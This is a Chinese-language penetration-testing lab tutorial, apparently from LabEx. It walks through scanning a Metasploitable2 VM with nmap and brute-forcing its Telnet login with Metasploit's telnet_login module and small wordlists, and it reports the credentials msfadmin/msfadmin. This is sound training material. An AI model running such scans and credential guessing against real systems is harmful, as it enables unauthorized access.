使用 Metasploit 利用 Telnet 服务漏洞

NmapBeginner
立即练习

实验介绍

在本实验中,我们将学习如何利用 Telnet 服务漏洞并执行渗透攻击。实验场景包括使用 Kali Linux 机器作为攻击机,Metasploitable2 虚拟机作为靶机。目标是对靶机进行漏洞扫描,识别出 Telnet 服务漏洞,并使用 Metasploit 框架对其进行利用。

启动实验环境

在此步骤中,我们将启动实验环境,其中包括 Kali Linux 容器和 Metasploitable2 虚拟机。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 靶机:
sudo virsh start Metasploitable2

等待靶机启动,这可能需要 1-3 分钟。

  1. 通过 ping 命令测试与靶机的连通性:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与靶机的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

现在攻击机和靶机都已运行,你可以开始渗透测试了。

注意:如果你不小心退出了当前的 bash,Kali 容器会自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 来启动一个新的 Kali 容器并进入 bash 继续实验。

执行漏洞扫描

在此步骤中,我们将使用 Nmap 扫描靶机,查找开放的端口和服务。

首先,启动 PostgreSQL 数据库,因为 Metasploit 需要它来存储数据:

service postgresql start
msfdb init
cd ~
msfconsole

在 Metasploit 控制台中,针对靶机运行 Nmap 扫描:

nmap -sV -T4 192.168.122.102

-sV 选项用于扫描开放端口并显示详细的服务信息,而 -T4 设置扫描的时间策略(0-5,数值越高速度越快,但越容易被发现)。

分析扫描结果

在此步骤中,我们将分析 Nmap 扫描结果,以识别存在漏洞的 Telnet 服务。

Nmap 扫描输出显示 Telnet 服务运行在 23 端口,且 banner 为「Linux telnetd」。让我们搜索相应的 Metasploit 模块:

search scanner/telnet

使用 auxiliary/scanner/telnet/telnet_login 模块:

use auxiliary/scanner/telnet/telnet_login

查看模块选项:

show options

必需的选项是 RHOSTS,它用于指定目标主机。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

准备用户名和密码字典

在此步骤中,我们将为登录暴力破解攻击准备用户名和密码字典文件。

在创建文件之前,请返回 Kali 容器的 shell。如果你还在 msfconsole 中,请按 Ctrl+D 退出到容器 shell。你的提示符应该类似于 root@...:/#

创建 /username.txt 并写入以下用户名:

cat > /username.txt <<'EOF'
123456
admin
msfadmin
root
kali
EOF

创建 /password.txt 并写入以下密码:

cat > /password.txt <<'EOF'
abc123
1234
123456
root
msfadmin
admin
toor
EOF

这些文件将用作暴力破解攻击的用户名和密码字典。

配置 Metasploit 模块

在此步骤中,我们将使用目标主机、用户名字典和密码字典来配置 Metasploit 模块。

首先,如果你不在 Metasploit 控制台中,请启动它:

cd ~
msfconsole

使用 auxiliary/scanner/telnet/telnet_login 模块:

use auxiliary/scanner/telnet/telnet_login

设置目标主机:

set RHOSTS 192.168.122.102

设置用户名字典文件:

set USER_FILE /username.txt

设置密码字典文件:

set PASS_FILE /password.txt

最后,运行攻击:

exploit

Metasploit 将开始尝试从提供的字典中组合不同的用户名和密码。如果找到有效的凭据,它将以绿色显示。

在本例中,有效的凭据是 msfadmin/msfadmin

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

实验总结

在本实验中,我们学习了如何使用 Metasploit 框架利用 Telnet 服务漏洞。我们首先搭建了包含 Kali Linux 攻击机和 Metasploitable2 靶机的实验环境。随后,我们使用 Nmap 执行漏洞扫描以识别开放的 Telnet 服务。接着,我们准备了用户名和密码字典,并使用目标主机和字典文件配置了 Metasploit 模块。最后,我们执行了攻击,并成功暴力破解了 Telnet 登录凭据。

本实验提供了渗透测试、漏洞扫描以及利用 Metasploit 框架进行漏洞利用的实践经验。它强调了安全密码实践的重要性,以及使用弱口令或易猜测凭据所带来的潜在风险。